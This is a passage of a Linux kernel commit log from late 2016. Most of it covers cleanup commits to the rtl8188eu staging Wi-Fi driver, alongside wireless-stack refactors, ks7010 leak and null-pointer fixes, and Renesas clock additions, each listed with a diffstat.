drivers/staging/rtl8188eu/hal/rtl8188e_hal_init.c | 4 +--- drivers/staging/rtl8188eu/include/hal_intf.h | 1 - 3 files changed, 1 insertion(+), 10 deletions(-) commit ecee4947a206f97a18a90a0a2c9e90bb89c8a23c Author: Ivan Safonov Date: Sat Sep 3 22:32:47 2016 +0700 staging: r8188eu: rename rtl8188eu_InitPowerOn to rtw_hal_power_on And remove many one-line wrappers. Signed-off-by: Ivan Safonov Signed-off-by: Greg Kroah-Hartman drivers/staging/rtl8188eu/hal/hal_intf.c | 7 ------- drivers/staging/rtl8188eu/hal/usb_halinit.c | 6 ++---- drivers/staging/rtl8188eu/include/hal_intf.h | 2 -- 3 files changed, 2 insertions(+), 13 deletions(-) commit dbc1917aa2182225c35794ad41042bbef7ae2395 Author: Ivan Safonov Date: Sat Sep 3 22:32:43 2016 +0700 staging: r8188eu: remove hal_init member of hal_ops structure It is unnecessary wrapper for rtl8188eu_hal_init function. Signed-off-by: Ivan Safonov Signed-off-by: Greg Kroah-Hartman drivers/staging/rtl8188eu/hal/hal_intf.c | 2 +- drivers/staging/rtl8188eu/hal/usb_halinit.c | 3 +-- drivers/staging/rtl8188eu/include/hal_intf.h | 2 +- 3 files changed, 3 insertions(+), 4 deletions(-) commit e4819013840bbad025ed6da660c1e8b3e9e8430a Author: Bhaktipriya Shridhar Date: Wed Aug 31 00:35:07 2016 +0530 cfg80211: Remove deprecated create_singlethread_workqueue The workqueue "cfg80211_wq" is involved in cleanup, scan and event related works. It queues multiple work items &rdev->event_work, &rdev->dfs_update_channels_wk, &wiphy_to_rdev(request->wiphy)->scan_done_wk, &wiphy_to_rdev(wiphy)->sched_scan_results_wk, which require strict execution ordering. Hence, an ordered dedicated workqueue has been used. Since it's a wireless driver, WQ_MEM_RECLAIM has been set to ensure forward progress under memory pressure. Signed-off-by: Bhaktipriya Shridhar Acked-by: Tejun Heo Signed-off-by: Johannes Berg net/wireless/core.c | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) commit d82121845d44334f5ec3c98906d1e4a592350beb Author: Aviya Erenfeld Date: Mon Aug 29 23:25:15 2016 +0300 mac80211: refactor monitor representation in sdata Insert the u32 monitor flags variable in a new structure that represents a monitor interface. This will allow to add more configuration variables to that structure which will happen in an upcoming change. Signed-off-by: Aviya Erenfeld Signed-off-by: Luca Coelho Signed-off-by: Johannes Berg net/mac80211/cfg.c | 8 ++++---- net/mac80211/driver-ops.c | 2 +- net/mac80211/ieee80211_i.h | 6 +++++- net/mac80211/iface.c | 16 ++++++++-------- net/mac80211/rx.c | 4 ++-- net/mac80211/status.c | 2 +- net/mac80211/tx.c | 2 +- net/mac80211/util.c | 2 +- 8 files changed, 23 insertions(+), 19 deletions(-) commit 5a1f044b5048e834f936fbb33a93e5d8410779ec Author: Emmanuel Grumbach Date: Mon Aug 29 23:25:14 2016 +0300 cfg80211: clarify the requirements of .disconnect() cfg80211 expects the .disconnect() handler to call cfg80211_disconnect() when done. Make this requirement more explicit. Signed-off-by: Emmanuel Grumbach Signed-off-by: Luca Coelho Signed-off-by: Johannes Berg include/net/cfg80211.h | 3 ++- 1 file changed, 2 insertions(+), 1 deletion(-) commit b7fb44dacae04219c82f20897382ba34860d1a16 Author: Denis Kenzior Date: Wed Aug 3 17:02:15 2016 -0500 nl80211: Allow GET_INTERFACE dumps to be filtered This patch allows GET_INTERFACE dumps to be filtered based on NL80211_ATTR_WIPHY or NL80211_ATTR_WDEV. The documentation for GET_INTERFACE mentions that this is possible: "Request an interface's configuration; either a dump request on a %NL80211_ATTR_WIPHY or ..." However, this behavior has not been implemented until now. Johannes: rewrite most of the patch: * use nl80211_dump_wiphy_parse() to also allow passing an interface to be able to dump its siblings * fix locking (must hold rtnl around using nl80211_fam.attrbuf) * make init self-contained instead of relying on other cb->args Signed-off-by: Denis Kenzior Signed-off-by: Johannes Berg net/wireless/nl80211.c | 29 +++++++++++++++++++++++++++++ 1 file changed, 29 insertions(+) commit b1e120a598eb648c1e9589691e77ae9517dba5cf Author: Ivan Safonov Date: Sat Sep 3 22:32:40 2016 +0700 staging: r8188eu: remove hal_deinit member of hal_ops structure It is unnecessary wrapper for rtl8188eu_hal_deinit function. Signed-off-by: Ivan Safonov Signed-off-by: Greg Kroah-Hartman drivers/staging/rtl8188eu/hal/hal_intf.c | 2 +- drivers/staging/rtl8188eu/hal/usb_halinit.c | 3 +-- drivers/staging/rtl8188eu/include/hal_intf.h | 2 +- 3 files changed, 3 insertions(+), 4 deletions(-) commit 09ebc91ee200e03516feb1fd3e254a70192e72e1 Author: Ivan Safonov Date: Sat Sep 3 22:32:36 2016 +0700 staging: r8188eu: rename rtl8188eu_inirp_init to rtw_hal_inirp_init And remove two one-line wrappers. Signed-off-by: Ivan Safonov Signed-off-by: Greg Kroah-Hartman drivers/staging/rtl8188eu/hal/hal_intf.c | 11 ----------- drivers/staging/rtl8188eu/hal/usb_halinit.c | 4 +--- drivers/staging/rtl8188eu/include/hal_intf.h | 2 -- 3 files changed, 1 insertion(+), 16 deletions(-) commit 08d58ec80b22b1950773baea3ebb372a011e2d46 Author: Ivan Safonov Date: Sat Sep 3 22:32:33 2016 +0700 staging: r8188eu: rename usb_read_port_cancel to rtw_hal_inirp_deinit And remove three one-line wrappers. Signed-off-by: Ivan Safonov Signed-off-by: Greg Kroah-Hartman drivers/staging/rtl8188eu/hal/hal_intf.c | 8 -------- drivers/staging/rtl8188eu/hal/usb_halinit.c | 12 ------------ drivers/staging/rtl8188eu/include/hal_intf.h | 3 +-- drivers/staging/rtl8188eu/os_dep/usb_ops_linux.c | 2 +- 4 files changed, 2 insertions(+), 23 deletions(-) commit e582af5d4233326b63161f73f197105b41b28483 Author: Ivan Safonov Date: Sat Sep 3 22:32:30 2016 +0700 staging: r8188eu: rename rtl8188eu_init_xmit_priv to rtw_hal_init_xmit_priv And remove two one-line wrappers. Signed-off-by: Ivan Safonov Signed-off-by: Greg Kroah-Hartman drivers/staging/rtl8188eu/hal/hal_intf.c | 7 ------- drivers/staging/rtl8188eu/hal/rtl8188eu_xmit.c | 2 +- drivers/staging/rtl8188eu/hal/usb_halinit.c | 2 -- drivers/staging/rtl8188eu/include/hal_intf.h | 2 -- 4 files changed, 1 insertion(+), 12 deletions(-) commit 286fe9b30de1cbae28e275a7db6cda7a10e84303 Author: Ivan Safonov Date: Sat Sep 3 22:32:26 2016 +0700 staging: r8188eu: rename rtl8188eu_init_recv_priv to rtw_hal_init_recv_priv And remove two one-line wrappers. Signed-off-by: Ivan Safonov Signed-off-by: Greg Kroah-Hartman drivers/staging/rtl8188eu/hal/hal_intf.c | 8 -------- drivers/staging/rtl8188eu/hal/rtl8188eu_recv.c | 2 +- drivers/staging/rtl8188eu/hal/usb_halinit.c | 2 -- drivers/staging/rtl8188eu/include/hal_intf.h | 4 +--- drivers/staging/rtl8188eu/include/rtl8188e_recv.h | 1 - 5 files changed, 2 insertions(+), 15 deletions(-) commit 67f7ada8dc1430820c9520127cda0a12bf9a960e Author: Ivan Safonov Date: Sat Sep 3 22:32:23 2016 +0700 staging: r8188eu: rename rtl8188eu_free_recv_priv to rtw_hal_free_recv_priv And remove two one-line wrappers. Signed-off-by: Ivan Safonov Signed-off-by: Greg Kroah-Hartman drivers/staging/rtl8188eu/hal/hal_intf.c | 6 ------ drivers/staging/rtl8188eu/hal/rtl8188eu_recv.c | 2 +- drivers/staging/rtl8188eu/hal/usb_halinit.c | 1 - drivers/staging/rtl8188eu/include/hal_intf.h | 1 - drivers/staging/rtl8188eu/include/rtl8188e_recv.h | 1 - 5 files changed, 1 insertion(+), 10 deletions(-) commit 02d0de1f8c9efd0b84ba4ba6265053513ab9bb37 Author: Ivan Safonov Date: Sat Sep 3 22:32:20 2016 +0700 staging: r8188eu: rename rtl8188eu_InitSwLeds to rtw_hal_sw_led_init And remove two one-line wrappers. Signed-off-by: Ivan Safonov Signed-off-by: Greg Kroah-Hartman drivers/staging/rtl8188eu/hal/hal_intf.c | 6 ------ drivers/staging/rtl8188eu/hal/rtl8188eu_led.c | 2 +- drivers/staging/rtl8188eu/hal/usb_halinit.c | 1 - drivers/staging/rtl8188eu/include/hal_intf.h | 2 -- drivers/staging/rtl8188eu/include/rtl8188e_led.h | 1 - 5 files changed, 1 insertion(+), 11 deletions(-) commit d435335fdf8015aec6c71fb2b6fc070e2cfc4aa4 Author: Ivan Safonov Date: Sat Sep 3 22:32:16 2016 +0700 staging: r8188eu: rename rtl8188eu_DeInitSwLeds to rtw_hal_sw_led_deinit And remove two one-line wrappers. Signed-off-by: Ivan Safonov Signed-off-by: Greg Kroah-Hartman drivers/staging/rtl8188eu/hal/hal_intf.c | 6 ------ drivers/staging/rtl8188eu/hal/rtl8188eu_led.c | 2 +- drivers/staging/rtl8188eu/hal/usb_halinit.c | 1 - drivers/staging/rtl8188eu/include/hal_intf.h | 1 - drivers/staging/rtl8188eu/include/rtl8188e_led.h | 1 - 5 files changed, 1 insertion(+), 10 deletions(-) commit 2d91255a69eebe5ef8bc246fd89c261321aab974 Author: Ivan Safonov Date: Sat Sep 3 22:32:11 2016 +0700 staging: r8188eu: rename rtl8188eu_init_default_value to rtw_hal_def_value_init And remove two one-line wrappers. Signed-off-by: Ivan Safonov Signed-off-by: Greg Kroah-Hartman drivers/staging/rtl8188eu/hal/hal_intf.c | 6 ------ drivers/staging/rtl8188eu/hal/usb_halinit.c | 4 +--- drivers/staging/rtl8188eu/include/hal_intf.h | 2 -- 3 files changed, 1 insertion(+), 11 deletions(-) commit 7d962ca011c5f52bbd76a41d7fa026574aa7cb8c Author: Ivan Safonov Date: Sat Sep 3 22:32:06 2016 +0700 staging: r8188eu: rename rtl8188eu_interface_configure to rtw_hal_chip_configure And remove two one-line wrappers. Signed-off-by: Ivan Safonov Signed-off-by: Greg Kroah-Hartman drivers/staging/rtl8188eu/hal/hal_intf.c | 6 ------ drivers/staging/rtl8188eu/hal/usb_halinit.c | 3 +-- drivers/staging/rtl8188eu/include/hal_intf.h | 2 -- 3 files changed, 1 insertion(+), 10 deletions(-) commit 61e0c324dce32d77b0c1bc5fc0d8d83d7b8b1bfd Author: Ivan Safonov Date: Sat Sep 3 22:32:01 2016 +0700 staging: r8188eu: rename _ReadAdapterInfo8188EU to rtw_hal_read_chip_info And remove two one-line wrappers. Signed-off-by: Ivan Safonov Signed-off-by: Greg Kroah-Hartman drivers/staging/rtl8188eu/hal/hal_intf.c | 6 ------ drivers/staging/rtl8188eu/hal/usb_halinit.c | 3 +-- drivers/staging/rtl8188eu/include/hal_intf.h | 2 -- 3 files changed, 1 insertion(+), 10 deletions(-) commit 655266d53882815371802972c3329cf9dc1bd95f Author: Ivan Safonov Date: Sat Sep 3 22:31:58 2016 +0700 staging: r8188eu: rename SetHwReg8188EU to rtw_hal_set_hwreg And remove two one-line wrappers. Signed-off-by: Ivan Safonov Signed-off-by: Greg Kroah-Hartman drivers/staging/rtl8188eu/core/rtw_wlan_util.c | 2 +- drivers/staging/rtl8188eu/hal/hal_intf.c | 6 ------ drivers/staging/rtl8188eu/hal/usb_halinit.c | 4 +--- drivers/staging/rtl8188eu/include/hal_intf.h | 3 --- 4 files changed, 2 insertions(+), 13 deletions(-) commit 385b452ca11d38cf3feac22847bde413debdaa4d Author: Ivan Safonov Date: Sat Sep 3 22:31:53 2016 +0700 staging: r8188eu: rename GetHwReg8188EU to rtw_hal_get_hwreg And remove two one-line wrappers. Signed-off-by: Ivan Safonov Signed-off-by: Greg Kroah-Hartman drivers/staging/rtl8188eu/core/rtw_mlme.c | 2 +- drivers/staging/rtl8188eu/hal/hal_intf.c | 6 ------ drivers/staging/rtl8188eu/hal/usb_halinit.c | 3 +-- drivers/staging/rtl8188eu/include/hal_intf.h | 2 -- 4 files changed, 2 insertions(+), 11 deletions(-) commit 359d96127fef2b2d3a2193244bc354e8cbe634c5 Author: Ivan Safonov Date: Sat Sep 3 22:31:49 2016 +0700 staging: r8188eu: rename GetHalDefVar8188EUsb to rtw_hal_get_def_var And remove many one-line wrappers. Signed-off-by: Ivan Safonov Signed-off-by: Greg Kroah-Hartman drivers/staging/rtl8188eu/hal/hal_intf.c | 8 -------- drivers/staging/rtl8188eu/hal/usb_halinit.c | 4 +--- drivers/staging/rtl8188eu/include/hal_intf.h | 4 ---- 3 files changed, 1 insertion(+), 15 deletions(-) commit 90c69b7a1d964b591f663b44830da57a8bc30467 Author: Ivan Safonov Date: Sat Sep 3 22:31:45 2016 +0700 staging: r8188eu: remove UpdateRAMaskHandler member of hal_ops structure It is unnecessary wrapper for UpdateHalRAMask8188EUsb function. Signed-off-by: Ivan Safonov Signed-off-by: Greg Kroah-Hartman drivers/staging/rtl8188eu/hal/hal_intf.c | 4 +--- drivers/staging/rtl8188eu/hal/usb_halinit.c | 4 +--- drivers/staging/rtl8188eu/include/hal_intf.h | 4 +--- 3 files changed, 3 insertions(+), 9 deletions(-) commit 0e1e385a18d1394a96fd2056ff603921d972961b Author: Ivan Safonov Date: Sat Sep 3 22:31:41 2016 +0700 staging: r8188eu: rename SetBeaconRelatedRegisters8188EUsb to rtw_hal_bcn_related_reg_setting And remove many one-line wrappers. Signed-off-by: Ivan Safonov Signed-off-by: Greg Kroah-Hartman drivers/staging/rtl8188eu/hal/hal_intf.c | 6 ------ drivers/staging/rtl8188eu/hal/usb_halinit.c | 3 +-- drivers/staging/rtl8188eu/include/hal_intf.h | 1 - 3 files changed, 1 insertion(+), 9 deletions(-) commit b3a4942fbcaecf1f8e83aa88668a283c49c0c6d7 Author: Ivan Safonov Date: Sat Sep 3 22:31:36 2016 +0700 staging: r8188eu: rename pre_xmitframe to rtw_hal_xmit And remove many one-line wrappers. Signed-off-by: Ivan Safonov Signed-off-by: Greg Kroah-Hartman drivers/staging/rtl8188eu/hal/hal_intf.c | 8 -------- drivers/staging/rtl8188eu/hal/rtl8188eu_xmit.c | 12 +----------- drivers/staging/rtl8188eu/hal/usb_halinit.c | 2 -- drivers/staging/rtl8188eu/include/hal_intf.h | 2 -- drivers/staging/rtl8188eu/include/rtl8188e_xmit.h | 1 - 5 files changed, 1 insertion(+), 24 deletions(-) commit 61a30f36e381e6cbac0e9d416c12c466c69f1769 Author: Ivan Safonov Date: Sat Sep 3 22:31:31 2016 +0700 staging: r8188eu: rename rtl8188eu_mgnt_xmit to rtw_hal_mgnt_xmit And remove many one-line wrappers. Signed-off-by: Ivan Safonov Signed-off-by: Greg Kroah-Hartman drivers/staging/rtl8188eu/hal/hal_intf.c | 9 --------- drivers/staging/rtl8188eu/hal/rtl8188eu_xmit.c | 2 +- drivers/staging/rtl8188eu/hal/usb_halinit.c | 1 - drivers/staging/rtl8188eu/include/hal_intf.h | 2 -- drivers/staging/rtl8188eu/include/rtl8188e_xmit.h | 1 - 5 files changed, 1 insertion(+), 14 deletions(-) commit 11c717427d60c618f33c8a24c893217c30a31472 Author: Ivan Safonov Date: Sat Sep 3 22:31:25 2016 +0700 staging: r8188eu: remove pxmitbuf parameter of rtl8188eu_xmitframe_complete function pxmitbuf always is NULL. Signed-off-by: Ivan Safonov Signed-off-by: Greg Kroah-Hartman drivers/staging/rtl8188eu/hal/rtl8188eu_xmit.c | 12 +++++------- drivers/staging/rtl8188eu/include/rtl8188e_xmit.h | 3 +-- drivers/staging/rtl8188eu/os_dep/usb_ops_linux.c | 2 +- 3 files changed, 7 insertions(+), 10 deletions(-) commit 3929667e897911f83ffdd2a1983673b886d6bbba Author: Ivan Safonov Date: Sat Sep 3 22:31:20 2016 +0700 staging: r8188eu: remove do_queue_select function do_queue_select is simplest one-line function. Signed-off-by: Ivan Safonov Signed-off-by: Greg Kroah-Hartman drivers/staging/rtl8188eu/core/rtw_xmit.c | 12 +----------- 1 file changed, 1 insertion(+), 11 deletions(-) commit f8a1a236b7866c4cd5ce02530f3a2c3e666e4639 Author: Ivan Safonov Date: Sat Sep 3 22:31:10 2016 +0700 staging: r8188eu: remove sizeof_priv parameter of rtw_alloc_etherdev_with_old_priv function sizeof_priv does not used. Signed-off-by: Ivan Safonov Signed-off-by: Greg Kroah-Hartman drivers/staging/rtl8188eu/include/osdep_service.h | 3 +-- drivers/staging/rtl8188eu/os_dep/os_intfs.c | 2 +- drivers/staging/rtl8188eu/os_dep/osdep_service.c | 3 +-- 3 files changed, 3 insertions(+), 5 deletions(-) commit cfb800828e5dbdd20f703d85a91f6bf026d08aec Author: Ivan Safonov Date: Sat Sep 3 22:31:06 2016 +0700 staging: r8188eu: remove sizeof_priv member of rtw_netdev_priv_indicator sizeof_priv does not used. Signed-off-by: Ivan Safonov Signed-off-by: Greg Kroah-Hartman drivers/staging/rtl8188eu/include/osdep_service.h | 1 - drivers/staging/rtl8188eu/os_dep/osdep_service.c | 1 - 2 files changed, 2 deletions(-) commit 78d41b168d40513c29bce8384f44545a88259fa0 Author: Ivan Safonov Date: Sat Sep 3 22:31:00 2016 +0700 staging: r8188eu: remove not_indic_disco member of mlme_priv structure This member does not used. Signed-off-by: Ivan Safonov Signed-off-by: Greg Kroah-Hartman drivers/staging/rtl8188eu/include/rtw_mlme.h | 1 - 1 file changed, 1 deletion(-) commit ec355ca54919469656728e91b3f45c88f0095a68 Author: Ivan Safonov Date: Sat Sep 3 22:30:57 2016 +0700 staging: r8188eu: remove num_of_scanned member of mlme_priv structure and corresponding to it code Value of this variabl does not used. Signed-off-by: Ivan Safonov Signed-off-by: Greg Kroah-Hartman drivers/staging/rtl8188eu/core/rtw_mlme.c | 7 ------- drivers/staging/rtl8188eu/include/rtw_mlme.h | 22 ---------------------- 2 files changed, 29 deletions(-) commit e015bae3d3b91aa5e1d70ab587a464fb81df4f94 Author: Ivan Safonov Date: Sat Sep 3 22:30:52 2016 +0700 staging: r8188eu: remove scan_start_time and assoc_by_rssi members from mlme_priv structure Value of this members does not used. Signed-off-by: Ivan Safonov Signed-off-by: Greg Kroah-Hartman drivers/staging/rtl8188eu/core/rtw_cmd.c | 2 -- drivers/staging/rtl8188eu/include/rtw_mlme.h | 2 -- 2 files changed, 4 deletions(-) commit 1c23e99da5ce4c048836736cfda1cd2bdff90f7a Author: Ivan Safonov Date: Sat Sep 3 22:30:48 2016 +0700 staging: r8188eu: remove p2p_* members from mlme_priv structure This members does not used. Signed-off-by: Ivan Safonov Signed-off-by: Greg Kroah-Hartman drivers/staging/rtl8188eu/core/rtw_ap.c | 3 --- drivers/staging/rtl8188eu/core/rtw_mlme.c | 6 ------ drivers/staging/rtl8188eu/include/rtw_mlme.h | 11 ----------- 3 files changed, 20 deletions(-) commit 3bb0ef95fce03470124090442fc7d3fc5d6474ee Author: Ivan Safonov Date: Sat Sep 3 22:30:44 2016 +0700 staging: r8188eu: remove some members of registry_priv structure some registry_priv members does not used after initialization. Module parameters corresponding to this members deleted too. Signed-off-by: Ivan Safonov Signed-off-by: Greg Kroah-Hartman drivers/staging/rtl8188eu/include/drv_types.h | 25 ------------ drivers/staging/rtl8188eu/os_dep/os_intfs.c | 58 --------------------------- 2 files changed, 83 deletions(-) commit c672491969fae421f9de16877aa3a2257893558f Author: Ivan Safonov Date: Sat Sep 3 22:30:32 2016 +0700 staging: r8188eu: remove nr_endpoint member of dvobj_priv structure nr_endpoint used as local variable. Signed-off-by: Ivan Safonov Signed-off-by: Greg Kroah-Hartman drivers/staging/rtl8188eu/include/drv_types.h | 2 -- drivers/staging/rtl8188eu/os_dep/usb_intf.c | 3 +-- 2 files changed, 1 insertion(+), 4 deletions(-) commit 999266d87bb4025f18c169e5f9ce4f785797cecb Author: Ivan Safonov Date: Sat Sep 3 22:30:28 2016 +0700 staging: r8188eu: remove ep_num member of dvobj_priv structure Value of the ep_num does not used. Signed-off-by: Ivan Safonov Signed-off-by: Greg Kroah-Hartman drivers/staging/rtl8188eu/include/drv_types.h | 1 - drivers/staging/rtl8188eu/os_dep/usb_intf.c | 1 - 2 files changed, 2 deletions(-) commit cf65514a6adcb3f6a30d4176687f14a8014b712b Author: Ivan Safonov Date: Sat Sep 3 22:30:19 2016 +0700 staging: r8188eu: remove usb_vendor_req_buf member of dvobj_priv Memory allocation moved into usbctrl_vendorreq function. Signed-off-by: Ivan Safonov Signed-off-by: Greg Kroah-Hartman drivers/staging/rtl8188eu/include/drv_types.h | 2 -- drivers/staging/rtl8188eu/os_dep/usb_intf.c | 8 -------- drivers/staging/rtl8188eu/os_dep/usb_ops_linux.c | 4 +++- 3 files changed, 3 insertions(+), 11 deletions(-) commit bbd8a4584235c5492209d79ebcaa7c817585c1ba Author: Ivan Safonov Date: Sat Sep 3 22:30:15 2016 +0700 staging: r8188eu: remove phostapdpriv member of struct adapter phostapdpriv does not used. Signed-off-by: Ivan Safonov Signed-off-by: Greg Kroah-Hartman drivers/staging/rtl8188eu/include/drv_types.h | 4 ---- 1 file changed, 4 deletions(-) commit 329473af1b4015d5e2a2a64e7e030a01a985a146 Author: Ivan Safonov Date: Sat Sep 3 22:30:10 2016 +0700 staging: r8188eu: remove fw_ps_awake variable of rtl8188e_HalDmWatchDog function Value of the fw_ps_awake does not used. Signed-off-by: Ivan Safonov Signed-off-by: Greg Kroah-Hartman drivers/staging/rtl8188eu/hal/rtl8188e_dm.c | 3 --- 1 file changed, 3 deletions(-) commit 430fc0fa40ab5c0331608f6ca32eb267ff590c07 Author: Ivan Safonov Date: Sat Sep 3 22:30:06 2016 +0700 staging: r8188eu: remove rwdinfo member of struct adapter Only default value of wdinfo was used. Signed-off-by: Ivan Safonov Signed-off-by: Greg Kroah-Hartman drivers/staging/rtl8188eu/hal/rtl8188e_dm.c | 5 ----- drivers/staging/rtl8188eu/include/drv_types.h | 2 -- 2 files changed, 7 deletions(-) commit 89f3b361586ddf0ecd8795ec1f84e4cea1b40d57 Author: Ivan Safonov Date: Sat Sep 3 22:30:01 2016 +0700 staging: r8188eu: remove evtThread member of struct adapter evtThread does not used. Signed-off-by: Ivan Safonov Signed-off-by: Greg Kroah-Hartman drivers/staging/rtl8188eu/include/drv_types.h | 1 - 1 file changed, 1 deletion(-) commit 33dda29bd301ef0190d15b753aa93e1a0a50a1f4 Author: Ivan Safonov Date: Sat Sep 3 22:29:56 2016 +0700 staging: r8188eu: remove rereg_nd_name_priv member of struct adapter Only default value of rereg_nd_name_priv was used. Signed-off-by: Ivan Safonov Signed-off-by: Greg Kroah-Hartman drivers/staging/rtl8188eu/include/drv_types.h | 8 -------- drivers/staging/rtl8188eu/os_dep/os_intfs.c | 6 ------ 2 files changed, 14 deletions(-) commit ca9e5b3e658915fcc6c554ff19c6a059e91e7d3c Author: Ivan Safonov Date: Sat Sep 3 22:29:50 2016 +0700 staging: r8188eu: remove br_ext_lock and fix_rate members of struct adapter br_ext_lock and fix_rate are not used after initialization. Signed-off-by: Ivan Safonov Signed-off-by: Greg Kroah-Hartman drivers/staging/rtl8188eu/hal/rtl8188e_dm.c | 1 - drivers/staging/rtl8188eu/include/drv_types.h | 4 ---- drivers/staging/rtl8188eu/os_dep/os_intfs.c | 2 -- 3 files changed, 7 deletions(-) commit 2104905ac0c646a4d694e089f5d3aa9de1faadf4 Author: Ivan Safonov Date: Sat Sep 3 22:29:40 2016 +0700 staging: r8188eu: remove in_cta_test member of struct adapter bNotifyChannelChange does not changed after initialization. "if" branches with in_cta_test != 0 removed too. Signed-off-by: Ivan Safonov Signed-off-by: Greg Kroah-Hartman drivers/staging/rtl8188eu/hal/usb_halinit.c | 21 +++------------------ drivers/staging/rtl8188eu/include/drv_types.h | 2 -- 2 files changed, 3 insertions(+), 20 deletions(-) commit 5cd3809eb92ec1164ffe5abf1391b6b4705f4eed Author: Ivan Safonov Date: Sat Sep 3 22:29:19 2016 +0700 staging: r8188eu: remove bNotifyChannelChange member of struct adapter Default value of this variable used only to produce debug output. Signed-off-by: Ivan Safonov Signed-off-by: Greg Kroah-Hartman drivers/staging/rtl8188eu/core/rtw_wlan_util.c | 3 --- drivers/staging/rtl8188eu/hal/phy.c | 3 --- drivers/staging/rtl8188eu/include/drv_types.h | 3 --- drivers/staging/rtl8188eu/os_dep/os_intfs.c | 1 - 4 files changed, 10 deletions(-) commit d94971aa97670d400371baef5d9d5cf6dc8ea2b5 Author: Ivan Safonov Date: Sat Sep 3 22:29:14 2016 +0700 staging: r8188eu: remove ieee80211_txb and tx_pending structures ieee80211_txb and tx_pending structures are not used. Signed-off-by: Ivan Safonov Signed-off-by: Greg Kroah-Hartman drivers/staging/rtl8188eu/include/ieee80211.h | 15 --------------- 1 file changed, 15 deletions(-) commit 5cd8396540b5f7ef7c3ac499e967dd4deb8e9930 Author: Ivan Safonov Date: Sat Sep 3 22:28:56 2016 +0700 staging: r8188eu: replace rtw_ieee80211_hdr_3addr_qos with ieee80211_qos_hdr rtw_ieee80211_hdr_3addr_qos is duplicate of ieee80211_qos_hdr. Signed-off-by: Ivan Safonov Signed-off-by: Greg Kroah-Hartman drivers/staging/rtl8188eu/core/rtw_mlme_ext.c | 4 ++-- drivers/staging/rtl8188eu/hal/rtl8188e_cmd.c | 10 +++++----- drivers/staging/rtl8188eu/include/ieee80211.h | 10 ---------- 3 files changed, 7 insertions(+), 17 deletions(-) commit bbfe286b07d8282f4957dee692e85b3bd60de770 Author: Ivan Safonov Date: Sat Sep 3 22:28:28 2016 +0700 staging: r8188eu: replace rtw_ieee80211_hdr_3addr with ieee80211_hdr_3addr rtw_ieee80211_hdr_3addr is duplicate of ieee80211_hdr_3addr. Signed-off-by: Ivan Safonov Signed-off-by: Greg Kroah-Hartman drivers/staging/rtl8188eu/core/rtw_mlme_ext.c | 62 +++++++++++++------------- drivers/staging/rtl8188eu/core/rtw_wlan_util.c | 6 +-- drivers/staging/rtl8188eu/hal/rtl8188e_cmd.c | 8 ++-- drivers/staging/rtl8188eu/include/ieee80211.h | 9 ---- 4 files changed, 38 insertions(+), 47 deletions(-) commit d87f574d6923c546e7d0f75ce0581436376b98a6 Author: Ivan Safonov Date: Sat Sep 3 22:27:57 2016 +0700 staging: r8188eu: replace rtw_ieee80211_hdr with ieee80211_hdr rtw_ieee80211_hdr is duplicate of ieee80211_hdr. Signed-off-by: Ivan Safonov Signed-off-by: Greg Kroah-Hartman drivers/staging/rtl8188eu/core/rtw_mlme_ext.c | 66 +++++++++++++-------------- drivers/staging/rtl8188eu/core/rtw_xmit.c | 4 +- drivers/staging/rtl8188eu/hal/rtl8188e_cmd.c | 24 +++++----- drivers/staging/rtl8188eu/include/ieee80211.h | 10 ---- 4 files changed, 47 insertions(+), 57 deletions(-) commit aeaf5d86faa5d8c64674465da544c26c97e9404a Author: Colin Ian King Date: Fri Sep 9 16:56:38 2016 +0100 staging: ks7010: fix two memory leaks on error return path On the error case where there is an invalid MAC address there is memory leak on packet and pp on the error return. Free these first before returning to fix the leak. Signed-off-by: Colin Ian King Signed-off-by: Greg Kroah-Hartman drivers/staging/ks7010/ks_hostif.c | 2 ++ 1 file changed, 2 insertions(+) commit 8defffb20854500825162d336bdd183d2d218cf9 Author: Colin Ian King Date: Wed Sep 7 17:23:09 2016 +0100 staging: ks7010: avoid dereferencing packet if it is null Updating tx_bytes from packet->len if packet is null will cause a null pointer dereference, so only update tx_bytes if it packet is not null. Signed-off-by: Colin Ian King Signed-off-by: Greg Kroah-Hartman drivers/staging/ks7010/ks_wlan_net.c | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) commit f5dc9399c07ee141924bcdccfeeacd7597a44cfe Author: Hariharan R Date: Mon Sep 5 18:22:46 2016 -0400 staging: ks7010: fix warning on return for void functions This patch fixes the checkpatch warning in ks7010_sdio.c 'void function return statements are not generally useful' Signed-off-by: Hariharan R Signed-off-by: Greg Kroah-Hartman drivers/staging/ks7010/ks7010_sdio.c | 11 ----------- 1 file changed, 11 deletions(-) commit 5fad71f58f4c236118358c98f65a7251e9c718f7 Author: Bui Duc Phuc Date: Fri Sep 9 20:43:11 2016 +0900 clk: renesas: r8a7796: Add CMT clocks This patch adds CMT module clocks for r8a7796 SoC. Signed-off-by: Bui Duc Phuc Signed-off-by: Geert Uytterhoeven drivers/clk/renesas/r8a7796-cpg-mssr.c | 4 ++++ 1 file changed, 4 insertions(+) commit 591d7b145a57dd9e8354fa776b0d9f678e2cda8c Author: Bui Duc Phuc Date: Fri Sep 9 20:43:10 2016 +0900 clk: renesas: r8a7795: Add CMT clocks This patch adds CMT module clocks for r8a7795 SoC. Signed-off-by: Bui Duc Phuc Signed-off-by: Geert Uytterhoeven drivers/clk/renesas/r8a7795-cpg-mssr.c | 4 ++++ 1 file changed, 4 insertions(+) commit 5576df81d28d46b603e5af10d1d0e1c7cc93a4bc Author: Laurent Pinchart Date: Tue Sep 6 16:57:30 2016 +0300 clk: renesas: r8a7796: Add RAVB clock Signed-off-by: Laurent Pinchart Signed-off-by: Geert Uytterhoeven drivers/clk/renesas/r8a7796-cpg-mssr.c | 1 + 1 file changed, 1 insertion(+) commit 332e99d5ae4056523bcb24ab16cd7a41474c4807 Author: Marc Zyngier Date: Wed Sep 7 09:12:11 2016 +0100 gpio/gpiolib: Forbid irqchip default trigger if probed over DT Using a default trigger is a bad idea if using DT to configure interrupts, as the device's interrupt specifier will always contain the trigger configuration. Let's warn about that particular situation, and revert to not having a default. Hopefully, the couple of drivers still using this feature will quickly be fixed. Signed-off-by: Marc Zyngier Signed-off-by: Linus Walleij drivers/gpio/gpiolib.c | 9 +++++++++ 1 file changed, 9 insertions(+) commit b80cfea24b02bcdc94cdbf67091d7b1c27ba6cd4 Author: Sudip Mukherjee Date: Sun Sep 4 20:30:19 2016 +0530 staging: ks7010: fix memory leak If the firmware request failed we were just returning but we missed freeing the memory and releasing the MMC Host. Signed-off-by: Sudip Mukherjee Signed-off-by: Greg Kroah-Hartman drivers/staging/ks7010/ks7010_sdio.c | 2 +- 1 file changed, 1 insertion(+), 1 